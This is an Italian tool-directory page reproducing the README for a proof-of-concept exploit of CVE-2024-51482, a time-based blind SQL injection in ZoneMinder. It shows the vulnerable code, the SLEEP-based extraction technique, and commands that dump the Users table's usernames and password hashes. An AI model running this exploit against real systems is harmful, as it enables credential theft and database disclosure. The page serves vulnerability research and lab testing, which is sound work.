Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-51482-POC — Proof of Concept di SQL injection basata sul tempo per CVE-2024-51482 in ZoneMinder, con laboratorio Docker riproducibile ed estrazione automatica dei dati. | Kitploit
Strumenti/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

Proof of Concept di SQL injection basata sul tempo per CVE-2024-51482 in ZoneMinder, con laboratorio Docker riproducibile ed estrazione automatica dei dati.

Vedi Repository
7114 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ZoneMinder PoC SQLi basata sul tempo autenticato - CVE-2024-51482

CVE-1 CVSS Python

⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento su sistemi di cui non si è proprietari o senza autorizzazione scritta è illegale.


Indice

  • ZoneMinder PoC SQLi basata sul tempo autenticato - CVE-2024-51482
    • Indice
    • Panoramica
    • Dettagli della vulnerabilità
      • CVE-2024-51482 — SQL Injection cieca basata sul tempo
      • Causa principale
      • Flusso dell'attacco
    • Struttura del repository
    • Requisiti
    • Installazione
      • PoC
      • Lab Docker
    • Utilizzo
      • Comportamento predefinito
      • Schermata di aiuto
      • Comandi
      • Opzioni di output
      • Riferimento flag
      • Esempio completo
      • Note
      • Lab Docker
    • Esempio di output
    • Rimedio
      • Contro questa CVE
      • Contro vulnerabilità simili
    • Cronologia della divulgazione
    • Riferimenti

Panoramica

Questo repository contiene un PoC di SQL injection basata sul tempo che prende di mira ZoneMinder.

Lo strumento consente:

  • Verifica della vulnerabilità
  • Enumerazione del database
  • Scoperta di tabelle e colonne
  • Dump completo delle tabelle
  • Esportazione CSV

Include anche un lab Docker completamente riproducibile per test sicuri.


Dettagli della vulnerabilità

CVE-2024-51482 — SQL Injection cieca basata sul tempo

  • ID CVE: CVE-2024-51482
  • Punteggio CVSS v3.1: 10.0 (Critico)
  • Tipo di vulnerabilità: SQL Injection cieca basata sul tempo
  • Versioni interessate: ZoneMinder v1.37.* <= 1.37.64
  • Vettore di attacco: Endpoint autenticato (removetag)
  • Impatto: Divulgazione completa del database, compromissione dell'integrità dei dati
  • Autenticazione richiesta: Sì (un utente con privilegi bassi è sufficiente)

Causa principale

ZoneMinder è un'applicazione software di videosorveglianza a circuito chiuso gratuita e open source. La vulnerabilità deriva da una convalida insufficiente dell'input nell'endpoint removetag di ZoneMinder. L'input fornito dall'utente viene incorporato direttamente nelle query SQL senza una corretta sanificazione o parametrizzazione, consentendo agli aggressori di iniettare payload SQL booleani dannosi. Lo sfruttamento sfrutta:

SLEEP(x - IF(condition, 0, x))

per dedurre i dati tramite i tempi di risposta.

Frammento di codice vulnerabile completo da Avviso del Mantenitore GitHub:

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

Flusso dell'attacco

Attaccante                              Applicazione Web ZoneMinder
   │                                         │
   │  [Auth]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← sessione autenticata
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               Query booleana SQL eseguita
   │                               IF(condizione, nessun ritardo, SLEEP)
   │◄────────────────────────────────────────│
   │  Risposta ritardata (oracolo temporale) │  ← condizione dedotta
   │                                         │
   │  Richieste ripetute                     │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Differenze nei tempi rivelano i caratteri │
   │                                         │
   │  Ricerca binaria per carattere          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Dati estratti (1 carattere alla volta) │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Divulgazione completa del database     │
   │                                         │
   ✓  Esfiltrazione completa dei dati tramite SQLi cieca

Struttura del repository

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

Requisiti

  • Python 3.8+
  • requests
  • Docker e docker-compose (per l'ambiente lab)

Installazione

PoC

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Lab Docker

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configurare le variabili d'ambiente
docker compose up -d

Utilizzo

Comportamento predefinito

Senza alcun flag, lo strumento si autenticherà al target, ne verificherà la vulnerabilità e, se vulnerabile, eseguirà il dump delle colonne ID, Username, Password, Name ed Email dalla tabella zm.Users (comando dump-users).

python exploit.py -t http://target/zm -u <username> -p <password>

Schermata di aiuto

python exploit.py -h

Comandi

check

Controlla solo se il target è vulnerabile.

python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

Esegue il dump delle colonne ID, Username, Password, Name ed Email dalla tabella zm.Users. Comando predefinito se non ne viene specificato nessuno.

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

Elenca tutti i database.

python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

Elenca le tabelle in un database specificato.

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

Elenca le colonne in una tabella specificata.

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Scarica lo strumento